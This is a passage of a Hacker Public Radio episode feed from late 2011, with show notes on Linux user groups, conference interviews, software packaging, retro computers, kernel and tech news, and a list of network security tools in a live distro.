    \nMeetings every Saturday 10-12 excluding school holidays
    \nAt 29-35 Ripon road, Blackpool. FY1 4DY
    \n\n
    \nFormat -
    \n'Free for all' open day.
    \nMembers, non members, friends, passers by, everybody welcome.
    \n
    \nRipon road is residents only parking, don't get a parking ticket
    \n
    \n Link to map :- Ripon road, Blackpool FY1 4DY
    \nThe sign says: PCRECYCLER LTD.
    \n\nUse the buzzer/intercom on the wall next to the door in the yard to get in.
    \n
    \n

    \nPicture of Ripon road building by Jim Huntsman:-
    \n
    \n
    \n
    \nRipon road
    \n
    \n
    \nLUG Main contact:-
    \nMike Hewitt
    \n\nadmin[at]pcrecycler[.]co[.]uk
    \nTel 01253 293258 between 10-2, Mon,Tue,Thur,Friday.
    \nFax:-07092162209
    \n
    \n
    \n
    \n
    \n\n\n

    \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Free Cycle\",Xubuntu,Ucubed,\"Software Freedom Day\",\"BLACKPOOL LUG\"","version":0,"downloads":1994,"valid":1}, {"id":864,"date":"2011-11-23","title":"Opentech Conference 2011: Glen Mehn, SI Camp","duration":1108,"summary":"Opentech Conference in London, interview with Glen Mehn of Social Innovation Camp","notes":"

    Hello world and welcome to our show on Hacker Public Radio. This episode is our de-brief on the Opentech Conference in London, plus an interview with Glen Mehn of Social Innovation Camp by my co-host is Les Pounder

    \n

    OpenTech 2011

    \n

    Saturday 21st May 2011,Union Building, University of London.

    \n

    Interview: Glen Mehne of Social Innovation Camp:

    \n

    Social Innovation Camp brings together ideas, people and digital tools to build web-based solutions to social problems – all in just 48 hours

    \n\n

    OpenTech 2011 is an informal, low cost, one-day conference on slightly different approaches to technology, transport and democracy. Talks by people who work on things that matter, guarantees a day of thoughtful talks leading to conversations with friends.

    \n\n

    Your Hosts:

    \n\n\n

    The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\nFind us at https://www.fullcirclemagazine.org/podcast.

    \n

    Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine dot org forward slash podcast, send us a comment to podcast (at) fullcirclemagazine.org

    \n\n

    Additional audio by Victoria Pritchard

    \n\n

    Runtime: 18mins 26seconds

    ","hostid":160,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Full Circle Podcast","version":0,"downloads":2015,"valid":1}, {"id":865,"date":"2011-11-24","title":"Desktop Transparency","duration":884,"summary":"The history of Desktop Transparency","notes":"

    Deltaray talks about the (true) history of Desktop Transparency.

    \n\n\n\n\"The\n","hostid":194,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"free software\",rxvt,\"background image\",\"transparent background\",Enlightenment,\"translucent window\",Berlin","version":0,"downloads":2394,"valid":1}, {"id":866,"date":"2011-11-28","title":"Publican, the user-friendly Perl frontend to Docbook XML","duration":2478,"summary":"Publican is a tool for publishing material authored in DocBook XML","notes":"

    Klaatu introduces you to Publican, the user-friendly Perl frontend to Docbook XML from the Fedora Linux Project. Also, how to set up vim with XML tag completion.

    \n\n

    Links

    \n\n

    \nAlso see Docbook The Definitive Guide\n

    \n\n

    \nnXML-mode for GNU Emacs.\n

    \n\n

    \nFeel free to glance over the dot-emacs file that Klaatu uses, mostly stolen from Unix guru Bill Von Hagen (who in turn stole it from lots of other people; read comments for credits)\n

    \n\n

    \nXML Completion for Vim\n

    \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Perl,\"XML schema\",DocBook,\"GNU Emacs\",Vim","version":0,"downloads":2255,"valid":1}, {"id":867,"date":"2011-11-29","title":"Gift Guide for Electronics Engineers of the Future","duration":1973,"summary":"Encouraging young people to get interested in technology","notes":"

    In today's show Mr. Gadgets continues his quest to encouraging young people to get interested in technology.

    \n

    \n

    \n

    ","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Radio Shack\",\"Tandy Co.\",arduino,AdaFruit","version":0,"downloads":2164,"valid":1}, {"id":868,"date":"2011-11-30","title":"Emacs Console","duration":471,"summary":"As a keen nano user, JWP tries out EMACS on his NSLU2 \"SLUG\"","notes":"In today's show JWP returns with a look at emacs console. ","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"EMACS,nano,Pine,\"Linksys NSLU2\"","version":0,"downloads":2041,"valid":1}, {"id":869,"date":"2011-12-01","title":"The Count of Monte Cristo","duration":3654,"summary":"A classic audio drama performance of The Count of Monte Cristo from the Mercury Theater","notes":"

    Welcome to syndicated Thursday on Hacker Public Radio

    \n

    \nEach Thursday we play Syndicated creative commons content from around the web. If you know of some creative commons material that you would like to bring to the attention of the community then send an email to admin. \n

    \n

    \nToday we're going back in time, to a classic audio drama performance by the Mercury Theater and was originally aired in Aug 29, 1938. It is an adaptation of the classic novel The Count of Monte Cristo, by Alexandre Dumas.

    \n

    \n

    Mercury Theatre

    \n

    \n\"Orson
    \nThe Mercury Theatre was a theatre company founded in New York City in 1937 by Orson Welles and John Houseman. After a string of live theatrical productions, in 1938 the Mercury Theatre progressed into their best-known period as The Mercury Theatre on the Air, a radio series that included one of the most notable and infamous radio broadcasts of all time, The War of the Worlds, broadcast on October 30, 1938. The Mercury Theatre on the Air produced live radio dramas in 1938-1940 and again briefly in 1946.\n

    \n

    The Count of Monte Cristo

    \n

    \nThe Count of Monte Cristo (French: Le Comte de Monte-Cristo) is an adventure novel by Alexandre Dumas. It is often considered to be, along with The Three Musketeers, Dumas's most popular work. He completed the work in 1844. Like many of his novels, it is expanded from the plot outlines suggested by his collaborating ghostwriter Auguste Maquet.

    \n

    \"photo

    \n

    \nThe story takes place in France, Italy, islands in the Mediterranean and the Levant during the historical events of 1815–1838 (from just before the Hundred Days through to the reign of Louis-Philippe of France). The historical setting is a fundamental element of the book. An adventure story primarily concerned with themes of hope, justice, vengeance, mercy and forgiveness, it tells of a man who is wrongfully imprisoned, escapes from jail, acquires a fortune and sets about getting revenge on the men who destroyed his life. However, his plans also have devastating consequences for the innocent as well as the guilty. The book is considered a literary classic today. According to Luc Sante, \"The Count of Monte Cristo has become a fixture of Western civilization's literature, as inescapable and immediately identifiable as Mickey Mouse, Noah's flood, and the story of Little Red Riding Hood.\"\n

    \n

    links

    \n

    \nhttps://en.wikipedia.org/wiki/Wikipedia:Text_of_Creative_Commons_Attribution-ShareAlike_3.0_Unported_License
    \n
    \nhttps://en.wikipedia.org/wiki/Alexandre_Dumas
    \nhttps://en.wikipedia.org/wiki/The_Count_of_Monte_Cristo
    \nhttps://librivox.org/the-count-of-monte-cristo-by-alexandre-dumas/
    \nhttps://www.archive.org/details/count_monte_cristo_0711_librivox
    \nhttps://www.archive.org/details/worksofalexand02duma
    \n
    \nhttps://en.wikipedia.org/wiki/Mercury_Theatre
    \nhttps://www.archive.org/details/OrsonWelles-MercuryTheater-1938Recordings
    \nhttps://creativecommons.org/licenses/by-nc-nd/3.0/
    \n

    \n

    \nTodays show is licensed under a Creative Commons license: Attribution-Noncommercial-No Derivative Works 3.0 , while most of the show notes are taken from Wikipedia and are available under the Creative Commons Attribution-ShareAlike License

    ","hostid":159,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"audio drama,Mercury Theater,The Count of Monte Cristo","version":0,"downloads":2223,"valid":1}, {"id":870,"date":"2011-12-02","title":"Computer Memories","duration":1589,"summary":"Deltaray looks back at his early computer experiences","notes":"

    In his second HPR episode, Deltaray looks back at his early computer experiences, from the Commodore to the Amiga, early computer stores, a BBS, and...The Strip.

    \n\n

    Sound effects by jppi-stu (117647) and timbre (84427) of freesound.org\n

    \n

    Apple Lisa

    \n

    \nFrom Wikipedia, the free encyclopedia
    \nhttps://en.wikipedia.org/wiki/Apple_Lisa
    \nThe Apple Lisa - also known as the Lisa - is a personal computer designed by Apple Computer, Inc. (now Apple, Inc.) during the early 1980s.
    \n\nDevelopment of the Lisa began in 1978 as a powerful personal computer with a graphical user interface (GUI) targeted toward business customers.
    \n\nIn 1982, Steve Jobs was forced out of the Lisa project, so he joined the Macintosh project instead. The Macintosh is not a direct descendant of Lisa, although there are obvious similarities between the systems and the final revision, the Lisa 2/10, was modified and sold as the Macintosh XL.
    \n\nThe Lisa was a more advanced system than the Macintosh of that time in many respects, such as its inclusion of protected memory, cooperative multitasking, a generally more sophisticated hard disk based operating system, a built-in screensaver, an advanced calculator with a paper tape and RPN, support for up to two megabytes (MB) of RAM, expansion slots, a numeric keypad, data corruption protection schemes such as block sparing, non-physical file names (with the ability to have multiple documents with the same name), and a larger higher-resolution display. It would be many years before many of those features were implemented on the Macintosh platform. Protected memory, for instance, did not arrive until the Mac OS X operating system was released in 2001. The Macintosh featured a faster 68000 processor (7.89 MHz) and sound. The complexity of the Lisa operating system and its programs taxed the 5 MHz Motorola 68000 microprocessor so that consumers said it felt sluggish, particularly when scrolling in documents.
    \n\"lisa\n
    \nhttps://en.wikipedia.org/wiki/Apple_lisa\n


    \n

    TRS-80

    \n

    \nFrom Wikipedia, the free encyclopedia\nhttps://en.wikipedia.org/wiki/TRS_80
    \nTRS-80 was Tandy Corporation's desktop microcomputer model line, sold through Tandy's Radio Shack stores in the late 1970s and early 1980s. The first units, ordered unseen, were delivered in November 1977, and rolled out to the stores the third week of December. The line won popularity with hobbyists, home users, and small-businesses. Tandy Corporation's leading position in what Byte Magazine called the \"1977 Trinity\" (Apple, Commodore and Tandy) had much to do with Tandy's retailing the computer through more than 3000 of its Radio Shack (Tandy in Europe) storefronts. Notable features of the original TRS-80 included its full-stroke QWERTY keyboard, small size, its Floating Point BASIC programming language, an included monitor, and a starting price of $600. The pre-release price was $500 and a $50 deposit was required, with a money back guarantee at time of delivery. One major drawback of the original system was the massive RF interference it caused in surrounding electronics. This became a problem when it was determined to violate FCC regulations, leading to the Model I's phase out in favor of the new Model III.
    \nBy 1979, the TRS-80 had the largest available selection of software in the microcomputer market.
    \n....
    \nIn July 1980 Tandy released the Model III. The improvements of the Model III over the Model I included built-in lower case, a better keyboard, 1500-baud cassette interface, and a faster (2.03 MHz) Z-80 processor. With the introduction of the Model III, Model I production was discontinued as it did not comply with new FCC regulations as of 1 January 1981 regarding electromagnetic interference. The Model I radiated so much interference that while playing games an AM radio placed next to the computer could be used to provide sounds.
    \n\nThe Model III could run about 80% of Model I software, but used an incompatible disk format. Customers and developers complained of bugs in its BASIC and the TRSDOS operating system. The computer also came with the option of integrated disk drives. Since they took power from the same supply as the motherboard and screen, which was not upgraded for the disk drive models, it was common to see the screen image shrink noticeably during drive access.
    \n\n\"photo\"
    \n
    \n\nhttps://web.archive.org/web/20060425163924/https://www.kjsl.com/trs80/model3info.html\n

    \n
    \n

    Commadore 128

    \n

    \nhttps://en.wikipedia.org/wiki/Commodore_128
    \nThe Commodore 128 (C128, CBM 128, C=128) home/personal computer was the last 8-bit machine commercially released by Commodore Business Machines (CBM). Introduced in January 1985 at the CES in Las Vegas, it appeared three years after its predecessor, the bestselling Commodore 64.\n
    \nThe C128 was a significantly expanded successor to the C64 and unlike the earlier Commodore Plus/4, nearly full compatibility with the C64 was retained, in both hardware and software. The new machine featured 128 KB of RAM, in two 64 KB banks and an 80-column RGBI video output (driven by the 8563 VDC chip with 16 KB dedicated video RAM), as well as a substantially redesigned case and keyboard. Also included was a Zilog Z80 CPU which allowed the C128 to run CP/M, as an alternate to the usual Commodore BASIC environment.\n
    \nThe primary hardware designer of the C128 was Bil Herd, who had worked on the Plus/4. Other hardware engineers were Dave Haynie and Frank Palaia, while the IC design work was done by Dave DiOrio. The main Commodore system software was developed by Fred Bowen and Terry Ryan, while the CP/M subsystem was developed by Von Ertwine\n
    \n\"photo\"\n

    \n
    \n

    Amiga 2000

    \n

    \nFrom Wikipedia, the free encyclopedia
    \nThe Amiga 2000, or A2000, is a personal computer released by Commodore in 1986. It is the successor to the Amiga 1000.\nhttps://en.wikipedia.org/wiki/Amiga_2000
    \n\"photo\"\n

    \n
    \n","hostid":194,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Apple Lisa,TRS-80,Commodore 128,Amiga 2000","version":0,"downloads":2468,"valid":1}, {"id":871,"date":"2011-12-05","title":"HPR Community News for Nov 2011","duration":2537,"summary":"HPR Community News for Nov 2011","notes":"

    HPR Community News

    \n

    New hosts

    \n

    Welcome to our new hosts: Kevin Granade and Deltaray

    \n

    Show Review

    \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
    idtitlehost
    hpr0852GNU Emacs 1klaatu
    hpr0853Pat Volkerding of Slackware Linux chats with Klaatuklaatu
    hpr0854All In IT Radio0007 - Should Cars Get Smarter ?Syndicated Thursdays series.
    hpr0855Packaging for your distroMike Hingley
    hpr0856GNU Emacs 2klaatu
    hpr0857Sam Tuke - Free Software Foundation EuropeOggCamp11 series.
    hpr0858Pre micro computer tech in the home #2MrGadgets
    hpr0859Sourcetrunk: OwnCloudSyndicated Thursdays series.
    hpr0860Kaizendo, GNU Parallel and some more FSCONSFSCONS series.
    hpr0861Emacs Part 3: The Reckoning.klaatu
    hpr0862Breaking Down TFTPKevin Granade
    hpr0863Tony Hughes Free CycleKen Fallon
    hpr0864Opentech Conference 2011: Glen Mehn, SI CampFull Circle Podcast series.
    hpr0865Desktop TransparencyDeltaray
    hpr0866Publican, the user-friendly Perl frontend to Docbook XMLklaatu
    hpr0867Gift Guide for Electronics Engineers of the FutureMrGadgets
    hpr0868Emacs ConsoleJWP
    hpr0869The Count of Monte CristoHPR Admins
    hpr0870Computer MemoriesDeltaray
    \n

    New HPR Community Spokesperson for 2012

    \n

    Communities like Debian and Fedora regularly change the person in the position of community manager so that the community is better represented, ideas are kept fresh and team work is fostered. With this in mind we are looking for a new member of the community to come forward and represent HPR as the community spokesperson.

    \n

    The job is focused on encouraging people to contribute to the project, spreading the word and building the community.

    \n

    If you are interested or would like to suggest someone for the position then please send your comments to the Mail list.
    Don't worry Ken and all the other 'regulars' will continue to support HPR.

    \n

    Give to FLOSS

    \n

    Paying homage to the tradition started my Chess Griffin of Linux Reality we are asking people to contribute financially over the coming month to a FLOSS of CC project. Just email us what you contributed to and we'll mail you one of the last few HPR stickers and give you a shout out on the end of year show. Please Spread the word!

    \n

    End of Year show

    \n

    We will be organizing a open mic end of year show next month so please have your \"best of hpr\" story ready for the event. More information on time and date to follow. If you can't make it to the live recording, then please record a short segment and send it on in.

    \n

    Contribute Shows

    \n

    We're short of shows so please stop procrastinating and record that show today. https://hackerpublicradio.org/contribute.php has more information on how to do that.

    \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":2077,"valid":1}, {"id":872,"date":"2011-12-05","title":"Packaging YUM","duration":2057,"summary":"The YUM package manager","notes":"

    A bonus episode in the Packaging Applications for Linux mini series! Inspired by Thrice in IRC, Klaatu discusses the yum package manager and how to weild it like an ancient RPM warrior.

    ","hostid":78,"series":63,"explicit":0,"license":"CC-BY-SA","tags":"package manager,yum","version":0,"downloads":2179,"valid":1}, {"id":873,"date":"2011-12-06","title":"Philip and Rebecca Newborough of CrunchBang","duration":727,"summary":"CrunchBang Linux","notes":"

    \nToday we interview Philip Newborough (aka corenominal) project lead for CrunchBang Linux and their community manager Rebecca Newborough. CrunchBang is a Debian GNU/Linux based distribution offering a great blend of speed, style and substance. Using the nimble Openbox window manager, it is highly customisable and provides a modern, full-featured GNU/Linux system without sacrificing performance.\n

    \n

    \nIn September 2011, Philip gave up paid employment to concentrate on personal projects and is now working full-time on CrunchBang Linux. Feel free to donate a over on his sitehttps://crunchbang.org/donate\n

    \n

    Links

    \n

    \nhttps://crunchbang.org/
    \nhttps://www.ubuntu.com/
    \nhttps://openbox.org/
    \nhttps://www.xfce.org/
    \nhttps://technologyserved.com/
    \nhttps://en.wikipedia.org/wiki/CrunchBang_Linux
    \nhttps://www.debian.org/
    \n

    \n","hostid":30,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"CrunchBang Linux,Debian,Openbox","version":0,"downloads":2439,"valid":1}, {"id":874,"date":"2011-12-07","title":"Interview: Lucy Chambers, Open Knowledge Foundation","duration":1219,"summary":"Full Circle Podcast, interview","notes":"

    Hello World and welcome to our show on Hacker Public Radio. This episode is the last of our three interviews resulting from the Opentech Conference over the Summer by my co-host, Les Pounder

    \n\n

    We're going to jump straight in and skip the introductions; if you want to find out about the conference and our other interviews, you can listen back to the earlier preview show with conference organiser Sam Smith and interview shows with speakers Greg Mehne of Social Innovation Camp and Paula Graham of Fossbox.

    \n\n

    | Interview: Lucy Chambers of the Open Knowledge Foundation

    \n

    \"Founded in 2004, we’re a not-for-profit organization promoting open knowledge: any kind of data and content – sonnets to statistics, genes to geodata – that can be freely used, reused, and redistributed. We promote open knowledge because of its potential to deliver far-reaching societal benefits.\"

    \n

    OpenTech 2011

    \n

    Saturday 21st May 2011,Union Building, University of London.

    \n

    OpenTech 2011 is an informal, low cost, one-day conference on slightly different approaches to technology, transport and democracy. Talks by people who work on things that matter, guarantees a day of thoughtful talks leading to conversations with friends.

    \n\n

    Your Hosts:

    \n\n\n

    The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\nFind us at https://www.fullcirclemagazine.org/podcast.

    \n

    Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine dot org forward slash podcast, send us a comment to podcast (at) fullcirclemagazine.org

    \n\n

    Additional audio by Victoria Pritchard

    \n\n

    Runtime: 20mins 17seconds

    ","hostid":160,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"Full Circle Podcast","version":0,"downloads":2076,"valid":1}, {"id":875,"date":"2011-12-08","title":"Replacing Older Hardware","duration":408,"summary":"Replacing old AMD systems","notes":"In today's show JWP talks to us about replacing some of his old amd boxes. He investigates what he can get for $250. He heads over to https://geeks.com for a P4 with HDMI out.","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Intel Pentium 4,HDMI","version":0,"downloads":2208,"valid":1}, {"id":876,"date":"2011-12-09","title":"Packaging applications: BSD ports","duration":1712,"summary":"FreeBSD Ports collection is a package management system","notes":"

    Klaatu concludes his three-part series on packaging applications for GNU Linux and BSD. In this episode, he covers BSD ports; how to get them, how to write one, and how to install it. Then he gives his opinion on the myriad packaging options that unix users have available to them.

    \n \n

    FreeBSD Porter's Handbook

    \n \n

    yesplz port

    \n \n

    Get this episode in ogg vorbis courtesy the GNU World Order.

    ","hostid":78,"series":63,"explicit":0,"license":"CC-BY-SA","tags":"package management,BSD,FreeBSD,Ports","version":0,"downloads":2168,"valid":1}, {"id":877,"date":"2011-12-12","title":"Welcome Frank Bell","duration":1054,"summary":"Frank Bell begins the story of his journey to Linux","notes":"

    Today our newest host, Frank Bell describes how he started on the road to Linux and some of the things he noticed along the way. In this episode, he goes from a empty computer to one running \nSlackware 10.0.

    ","hostid":195,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"linux,slackware","version":0,"downloads":2356,"valid":1}, {"id":878,"date":"2011-12-13","title":"OpenShorts Episode 4","duration":1961,"summary":"Computer-controlled manufacturing - 3D printers, CNC","notes":"

    \nMr. Gadget's quest to get us interested in hardware continues. Today we learn about making three-dimensional parts using inexpensive computer-controlled manufacturing equipment. Both additive (RepRap, CandyFab) and subtractive (Lumenlab Micro CNC) systems are covered.

    \n

    Links

    \n","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"3D printer,RepRap,CandyFab,MakerBot,CNC","version":0,"downloads":2164,"valid":1}, {"id":879,"date":"2011-12-14","title":"SMLR 009","duration":3522,"summary":"SMLR episode 9","notes":"

    Sunday Morning Linux Review

    \n

    https://smlr.us

    \n

    Intro:

    \n

    Mat Enders and Tony Bemus
    Intro Sound bite by Mike Tanner

    \n

    Kernel News: Mat

    \n

    Time: 1:56
    Latest RC release is 3.2-rc5 released on Friday 12/9 at 6pm Eastern standard time.

    \n

    It has been slightly over a week since the last rc release. And rc5 is bigger in number of commits. Many of the commits are small, so it is possible that the *diff* will be smaller than both -rc2 and -rc4 were.

    \n

    A big part of this release is that Ingo is back, and had a backlog. That isn’t enough to explain it all. There were xfs and btrfs changes, along with network updates, and the usual 50% random driver updates.

    \n

    Greg KH announced the release of the 2.6.32.50, 3.0.13, and 3.1.5 stable kernels 12/9.

    \n

    The 2.6.32.50 kernel had 28 files changed, 164 insertions, and 54 deletions.
    The 3.0.13 kernel had 93 files changed, 659 insertions, and 201 deletions.
    The 3.1.5 kernel had 135 files changed, 1170 insertions, and 471 deletions.

    \n

    Kernel Quote of The Week:

    \n

    Hey Linus stop working on Subsurface, The Scuba Diving Log that doesn’t suck, during the week so you can get the latest RC out before 6pm eastern time so it is easier for me to do these updates. (insert appropriate smiley here)

    \n

    –Mat Enders

    \n

    Distro News: Tony

    \n

    Time: 4:53

    \n

    Distrowatch.com

    \n \n

    Distro of the Week: Tony

    \n
      \n
    1. Debian – 1367
    2. \n
    3. Fedora – 1427
    4. \n
    5. Ultimate – 1742
    6. \n
    7. Ubuntu – 1977
    8. \n
    9. Mint – 4115
    10. \n
    \n

    Tech News:

    \n

    Time: 15:45

    \n

    jQuery Tells The Real Story About Plugin Site, or Why You Should Have a Backup More Recent Than a Year Old

    \n

    The jQuery plugins site devolopers have finaly told the real story, in a blog posting. The plugins site went down about a week ago with just this message: “The plugins site is currently unavailable. We’ve been looking to provide a higher-quality, spam-free expierence at the plugins site for some time and we have decided to temporarily shutter the existing site. We will be providing more details on the new plugins site soon, so that plugin authors can hit the ground running with our new submission process.” What really happened was, in an attempt to clean up the spam using Drupal Views Bulk Operations, all of the plugins were deleted. And the only backup was a year old. The developers asked for forgiveness and some help in developing a completely new plugins site. The plugins site needed renovations for quite some time. Due to the spam issue and because of how plugins were manged through the CMS that was cluttered and awkward. They were planning on replacing the site when events caused an imdeiate need. When I say events I mean the accidental deletion and lack of backup was the impetus to move those plans into action. jQuery plugin developers should create a GitHub presence, even if they just mirror their existing source code management. The new site still being developed on github.com/jquery/plugins.jquery.com/ and there is currently no date for its launch.

    \n

    Download.com accused of wrapping nmap in a “trojan installer”

    \n

    Nmaps author says CBS Interactive and CNET’s Download.com are wrapping the open source application in a proprietary installer. In the past, they have never altered the application downloads they serve up, they have been changing that over the last six months. Gordon “Fyodor” Lyon, lays out his issues in a posting to the Nmap Hackers mailing list. He claims the installer does thing like install the ‘StartNow’ toolbar”, makes Bing the default search engine, and then sets the users home page to MSN. This is how a “trojan installer” functions. If the installer is seperated from the download and sent to VirusTotal it shows that ten of the 42 scanners, they run it against, identify it as a trojan or adware installer. Also the Nmap trademark is displayed next to offers to install software, as if the Nmap organization supports these products. As Nmap is not under the plain GPL but under an enhanced version that specifically prohibits aggregation into a proprietary executable installer.
    Download.com initially claimed its scheme is simple for developers to opt-out of. The opt out is not automatic though. Download.com says “all opt-out requests are carefully reviewed on a case by case basis.” Lyon is looking for a US copyright attorney and wants to get the word to the hundreds of users who use Download.com every week to download Nmap.
    CBS’s Download.com site has been called out for this type of behaviour before. In August, ExtremeTech claimed similar behaviour with the media player VLC. According to an FAQ from CBS this installer software was rolled out in July.
    After the fecal matter hit the fan on this Download.COM back pedaled in a big way. In a statement, Sean Murphy, the Vice President and General Manager of Download.com said, “The bundling of this software was a mistake on our part and we apologize to the user and developer communities for the unrest it caused.” Then adding that they had “reviewed all open source files in our catalog to ensure none are being bundled”.
    Lyon posted an update, stating that Microsoft had been in contact with him and claimed they “didn’t know they were sponsoring CNET to trojan open source software”. Microsoft also stated that they had stopped the practice, which seems odd since they said that they were unaware that it was happening. So now the Download.com installer changed to install the “Babylon toolbar” which did different search engine redirection. CNET then later removed that and is now installing its own “techtracker” tool for updating downloaded software. However they are also restoring the “Direct download link” which allows users to download files without having to download the “download manager”.
    Who knows if these changes will quell the controversey. The changes only affect open source software and the proprietary freeware and trial software on Download.com will still have the Download.com Installer packaging. A number of open source programs at Download.COM still had an installer wrapping them. There has been no general apology for bundling GPL software with closed source installers.

    \n
    \n

    Researchers at Google Have Proposed s Fix to The SSL Dilemma

    \n

    Google researchers Adam Langley and Ben Laurie have proposed a new method for ensuring the trustworthiness of the public key infrastructure (PKI) underpinning HTTPS. Thier idea is based on a public list of all certificates ever issued by certificate authorities. The two problems with how the current system works are. First, if an attacker can comprimise any of the more than 100 certificate authorities and aquire a certificate for a server such as amazon.com, end users would not be able to tell the fraudulant site from the real one. Second, the way the system currently works Amazon would not be able to detect the fraud either.
    Langley and Laurie believe that a public list would mitigate both problems. Whenever a website offered up a certificate, the browser would check the supplied certificate against one of these public lists. If the browser did not find the certificate on any of the lists, the site would be treated as untrusted. Companies would then be able to check these lists regularly, to locate any fraudulent certificates. Which means that even if a criminal was able to obtain a fake certificate, they could not use it efectively. Merkle signature trees would be used to maintain the integrity of the lists.
    The proposals might not be implemented and, if it is, noone knows over what sort of timescale. There are also other alternatives being proposed like Firefoxs’ extension Convergence being pursued by security expert Moxie Marlinspike.

    \n
    \n

    Android’s Revenge on Apple’s iPhone & iPad

    \n

    Could Apple be regretting its world-wide war on Android? A German court issued a preliminary injunction on Motorola’s behalf that prevents European sales of all Apple’s 3G-enabled devices. Android-power Motorola Mobility, soon to be a part of Google, used a patent to thwart the competition. Apple has been using design and software patents in order to attack Android world wide. So I don’t think this could have happened to a nicer company.

    \n

    Regretably the patent being used, Method for performing a countdown function during a mobile-originated transfer for a packet radio system, is an excellent example of brain dead software patents. Almost as bad as Apple trying to block anybody from creating a rectangular phone or tablet as it would infringe on thier “unique” design. Thing like this sadly are not unusual but equate to little more than Intelectual Property (IP) blackmail. Just check out U.S. Patent No. 6,359,898 and its European Union equivalent, EP1010336 (B1) ? 2003-03-19. They basicly describe performing a countdown over a 3G connection. You know lik, “Ten seconds to complete your download, three, two, one, download complete.” Oh, obviously an original idea indeed.

    \n

    So you say why is a countdown mechanism so essential that a court would rule that Apple would be in violation and unable to sell thier products in Europe. Well so does Apple which is why they have appealled using a Fair, Reasonable, and Non-Discriminatory (FRAND) defense. [Tony this is a link to a PDF that explains a frand defense please embed it https://www.ucl.ac.uk/laws/jevons/papers/colloquium_2007/jevons07_glader.pdf] This defenses core argument is that this feature is not an essential component to 3G mobile telephony. I and I also assume you all understand that, but the German court wasn’t going for it.

    \n

    So this will go on for a while in the court system with suit and counter suit. And in the end it will only delay the sale of Apple products in the EU. But another side effect is that no matter where you buy your smartphone it will cost you more because thes kinds of court battles do not come cheap. I have a suggestion to all of these patent mongers and trolls, knock it off and just compete in the market place instead of the court room.

    \n
    \n

    Get top-quality open source security tools in one distro

    \n

    If you could have just one toolkit for network security, which one would you choose? I mean the one toolkit that had all of the functionality you needed for securing, analyzing, monitoring, and validating your network. Would it be BackTrack, Deft, or Helix? Well I have used two of those and I have found a distro that I think kicks thier ass. After you have checked out Network Security Toolkit (NST), I believe that you will choose it also.

    \n

    This live DVD is based on Fedora. NST was designed to bring you easy access to the best Open Source Network Security Applications. It should run on most x86/x86_64 platforms. The intent of this distrobution is to provide network security administrators with a complete set of tools. Most of the tools in INSECURE.ORGs Top 100 Security Tools are in this kit. An advanced Web User Interface (WUI) is provided for system administration, navigation, automation, geolocation and configuration for many of the network and security applications in distribution.

    \n

    Here are some of the tools that come with NST:

    \n

    Aircrack NG: A wireless sniffer and WEP/WPA-PSK key cracker
    Airsnort: A wireless LAN (WLAN) tool that recovers encryption keys.
    Amap: A next-generation scanning tool that identifies applications and services even if they are not listening on the default port by creating a bogus communication and analyzing the responses.
    Argus/Argus-Clients/Argus-Monitor: An audit record generation and utilization system
    Arp-Scan: A scanning and fingerprinting tool
    Arpwatch: Network monitoring tools for tracking IP addresses on a network.
    Awstats: Advanced Web statistics
    Bandwidthd: Tracks network usage and builds HTML and graphs
    Beecrypt: An open source cryptography library
    Bit-twist: A simple yet powerful libpcap-based Ethernet packet generator
    BlackOwlMIBBrowser: A Visual SNMP MIB browser with MIB variable graphing.
    Cadaver: A command-line WebDAV client
    CheckDNS: A Domain Name Server analysis and reporting tool
    Chkrootkit: A tool to locally check for signs of a rootkit
    ClamAV: Antivirus
    Conntrack-tools: Tools to manipulate netfilter connection tracking table
    DNScap: A DNS traffic capture utility
    DNSenum: The tool gathers as much information as possible about a domain.
    DNSmap: A network tool that performs brute force search/query of domains.
    DNSwalk: A DNS debugger
    Dsniff: Tools for network auditing and penetration testing.
    Etherape: A graphical network viewer modeled after etherman.
    Firewalk: Active reconnaissance network security tool.
    Foremost: Recover files by carving them from a raw disk.
    Freeradius: A high-performance and highly configurable free RADIUS server
    Fwbuilder: A firewall builder
    Geoclue: A modular geoinformation service
    GPGme: GnuPG Made Easy — a high level crypto API
    Greenbone-Security-Assistant: A Web-based interface to the Open Vulnerability Assessment Scanner
    GSD: A desktop (GUI) interface to the Open Vulnerability Assessment Scanner
    Honeyd: A honeypot daemon
    Hunt: A tool for demonstrating well-known weaknesses in the TCP/IP protocol suite.
    Kismet: Kismet is an 802.11 layer2 wireless network detector, sniffer, and IDS.
    Mbrowse: A GUI SNMP MIB browser
    Nagios: Nagios monitors hosts and services and yells if something breaks.
    NBTScan: A tool to gather NetBIOS info from Windows networks.
    Netmask: A utility for determining network masks.
    Netwag: The GUI for the network toolbox Netwox
    Nload: Monitor network traffic and bandwidth usage in real-time.
    Wireshark: A network protocol analyzer

    \n

